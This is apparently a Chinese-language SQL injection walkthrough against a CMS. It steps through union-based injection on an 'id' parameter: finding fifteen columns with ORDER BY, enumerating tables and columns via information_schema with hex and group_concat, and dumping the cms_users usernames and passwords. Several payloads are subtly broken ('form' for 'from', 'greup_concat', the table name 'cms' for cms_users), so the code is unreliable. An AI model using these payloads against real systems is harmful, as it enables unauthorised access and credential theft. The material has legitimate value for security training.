我们先找到url中含有?的地方,一般?后面都是用户可控的参数,我们可以通过修改?后面的传参来进行SQL注入
我们在找到可以进行SQL注入的地方后,我们可以进行联合查询
我们先要进行不断的尝试,找出这个服务器后台数据库的列数,我们可以通过在语句后面添加order by 排序语句从1进行不断尝试,order by 1是对第一列进行排序,如果到哪列突然报,那我们就可以知道这个数据库的字段数,即15列
当我们知道数据库的字段数后,我们可以进行联合查询
?id=35 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15
我们联合查询后发现内容没有变化,证明我们的字段数找对了
但是联合查询我们的1-15并没有出来,所以我们要对语句进行修改,我们要使前面的语句错误,才能是我们的1-15显现出来
?id=35 and 1=2 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15
我们通过是前面正常的语句报错,得到了我们的回显字段
我们可以将回显字段变为查询语句
数据库中information_schema数据库的元数据数据库(库名、table表(表名)、columns(列名))
我们要查询表名
?id=35 and 1=2 union select 1,2,3,4,5,6,7,8,9,10,table_name,12,13,14,15 form information_schema.tables
当我们查询后发现,报错
这是因为我们查询的数据类型与要查询的数据类型不同,所以我们先将我们的数据转化为16进制再进行查询hex(table_name)
我们的到一串16进制,我们对其解译
我们就得到了表名,CHARACTER_SETS
我们再得到表名后,得确定该表是否为cms数据库的表,得再在语句后面加限定where tables_schema=database()
?id=35 and 1=2 union select 1,2,3,4,5,6,7,8,9,10,hex(table_name),12,13,14,15 form information_schema.tables where table_schema=database()
我们查到了cms的表,但只有一个,为了查找到全部的表,我们需要对字段进行改变
hex(table_name)
变为查找所有表的联合查询hex(greup_concat(table_name))
?id=35 and 1=2 union select 1,2,3,4,5,6,7,8,9,10,hex(greup_concat(table_name)),12,13,14,15 form information_schema.tables where table_schema=database()
我们对这些表名进行转义
cms_article
cms_category
cms_file
cms_friendlink
cms_message
cms_notice
cms_page
cms_users
我们可以发现对我们最有用的为cms_users表
我么可以查看该表的内容,我们就要知道cms_users列名
?id=35 and 1=2 union select 1,2,3,4,5,6,7,8,9,10,hex(greup_concat(column_name)),12,13,14,15 form information_schema.columns where table_schema=database() and table_name='cms'
我们就获取到了cms_users表的所有列名
userid
username
password
我们直接查询cms_users表的username列和password列
我们就获取到了用户名和密码,但是他们连在一起,所以我们添加分割符来是他们分开,方便我们辨认可以添加0x3a此为:的16进制,也可以直接写’:'字符串
这下我们就可知,admin为用户名
我们对密码进行解密
至此,我们就成功通过sql注入查询到了服务器的用户名和密码